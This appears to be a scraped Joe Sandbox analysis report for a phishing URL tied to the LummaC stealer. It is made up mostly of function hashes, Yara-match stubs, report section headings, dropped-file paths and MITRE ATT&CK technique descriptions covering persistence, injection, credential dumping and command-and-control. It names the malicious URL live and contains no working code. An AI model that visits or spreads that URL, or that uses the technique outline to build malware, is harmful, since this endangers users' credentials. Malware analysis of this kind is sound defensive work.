Similarity

API ID:
String ID:
API String ID:
Opcode ID: a59f30305a5a55964e4db32008d050495ae5c462d8722b5911dd9e46a2a6f731
Instruction ID: b64d3e94a4a03fcbd39a182b927ba2398b68ffa86863a4e67c0aa9c2ad26a76f
Opcode Fuzzy Hash: a59f30305a5a55964e4db32008d050495ae5c462d8722b5911dd9e46a2a6f731
Instruction Fuzzy Hash: A6110175708602DBD7188F28D8A1A3FB3AAEBCA310F4A992DE48657350D730FC00CB85

Function 0241697B Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a52f90847c25a4f167e3c8d1c470004d396b49412046731b351f7475d5c8653
Instruction ID: 36ac04b5a1cdb3bfd7fec1f4617b0f4ac3f4ec3e177a869cddbff05d6c092e5a
Opcode Fuzzy Hash: 7a52f90847c25a4f167e3c8d1c470004d396b49412046731b351f7475d5c8653
Instruction Fuzzy Hash: 9C11C4306082208BC3019B28D9A263777EAE756308F56587EE080CB251E731D816DB05

Function 024010AC Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e64317625e06953a0030493f718403388be9115d8c6a0e5777c3d8d6dbedd3d
Instruction ID: e8e69afdb693d3173d8699f68311bea9119608deb3f7e03d53c4de3ea8c98232
Opcode Fuzzy Hash: 4e64317625e06953a0030493f718403388be9115d8c6a0e5777c3d8d6dbedd3d
Instruction Fuzzy Hash: E5317574E00119DFCB09CF98C590AAEBBB1FF48314F24859AD819AB345D775AE82CF94

Function 024172EC Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7a52da410c935a3e0f2a04c2ffde0838a836fd3f0a467b8868b36dbcc084c13
Instruction ID: 415f9c0e1229362e203356c9275f8240b54373a3dbe21bb48d7cd18bdc115adf
Opcode Fuzzy Hash: e7a52da410c935a3e0f2a04c2ffde0838a836fd3f0a467b8868b36dbcc084c13
Instruction Fuzzy Hash: 9C017B346802069BF7298F29CC10B33B293F752300F54903DE88197290DBB09852C754

Function 02435F5F Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 271117721aa3df8951c268276cf876676ce209fd521fec0b2019af6acc33f583
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 7611A533A051D40EC3178E3C8440579BFA34ADB535B99839AF4BADB2D2D6228D8B8755

Function 0242B9CF Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6f3737fdae1c0a01f48b6376bcbd426907f24c0dc4d500755e45f99c257de23
Instruction ID: d1c3406994d92ce4a68aef988a856930c0536ba39bd08216ca1945e425d762b6
Opcode Fuzzy Hash: d6f3737fdae1c0a01f48b6376bcbd426907f24c0dc4d500755e45f99c257de23
Instruction Fuzzy Hash: FD0184F1A0031187D721AE6794D0B27B3EAEF84708F58443ED8046B341DB75E80D8B95

Function 024044DF Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dabecf6e6ddfb1cdd8269c5c9ebdc2cc04a1f760bd0808b9cf36547e64e5e14a
Instruction ID: bcb068aceb52540571c067671af7ab8935544bc85751e46a069b5a988fd9991b
Opcode Fuzzy Hash: dabecf6e6ddfb1cdd8269c5c9ebdc2cc04a1f760bd0808b9cf36547e64e5e14a
Instruction Fuzzy Hash: DEF0E9B7B15516076314CD26BCC092FB356D7C6319B59503AEB41D3640CA75E446D2A4

Function 02400E0D Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f432f6d4d57ddd5edf10f0a55197208a6667e030cc273150dee4b63bd6a15e3
Instruction ID: d81d058fa1c1d0acf5daefa0f7db717aaec987141e5428d065c4ca6aded4a8de
Opcode Fuzzy Hash: 2f432f6d4d57ddd5edf10f0a55197208a6667e030cc273150dee4b63bd6a15e3
Instruction Fuzzy Hash: 4B01B635A11508EFCB54DFA8C2C4BADB7B6FB44314F6095AAD905AB781C730AE81DB80

Function 024280EE Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d6f7a7cb272caf1d3cda95d70b9b3b6082bc7fc0adc30213ab2c93f43f294ad
Instruction ID: 825eaa1f4030eea1a0ba79a2a6de8284a8edb55593afbc0133fa41624042c7d3
Opcode Fuzzy Hash: 5d6f7a7cb272caf1d3cda95d70b9b3b6082bc7fc0adc30213ab2c93f43f294ad
Instruction Fuzzy Hash: 1ED05E2A80C572424B1A4E1B1C6123AA6231AD324579DEAA6C4D56F687CF26C44B5538

Function 0242CDE4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fe4325b376ba0bf3d8a12427dbf818d6f7bbaf6781c49bc0a035c713a6befb6
Instruction ID: 85f6322cec6e5c00a56b9dbb90846cefb4f26d168419e7928e63aea3493fd99a
Opcode Fuzzy Hash: 7fe4325b376ba0bf3d8a12427dbf818d6f7bbaf6781c49bc0a035c713a6befb6
Instruction Fuzzy Hash: 08D02238D044009BC608DF24E8A0439B26A9F8B360B00203DC403FF353CE30DCA0894E

Function 0240DBE3 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2163835823.0000000002400000.00000040.00001000.00020000.00000000.sdmp, Offset: 02400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_2400000_DrWindows.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction ID: 52fe0259059b82c7cb9fb3d0f913ef24527c2e8030ec2916e1bb67edfa7a0227
Opcode Fuzzy Hash: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction Fuzzy Hash: 01D0122494A2994AD3068F389CA1731BBB1EF03100F442558D142DB291C7D09016865C

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

HTML

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dawn2yfd.coz.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eomvs1lx.olj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gk32vbw3.tka.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_plyfhker.215.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Windows Analysis Report
https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html

Function 02400BAD Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Function 02400A5D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Function 0240049D Relevance: 1.9, APIs: 1, Instructions: 399
threadCOMMON

Function 0244F207 Relevance: 6.1, APIs: 4, Instructions: 99
memoryCOMMON

Function 02450077 Relevance: 4.8, APIs: 3, Instructions: 325
memoryCOMMON

Function 02451425 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Function 0244F302 Relevance: 3.0, APIs: 2, Instructions: 48
memoryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre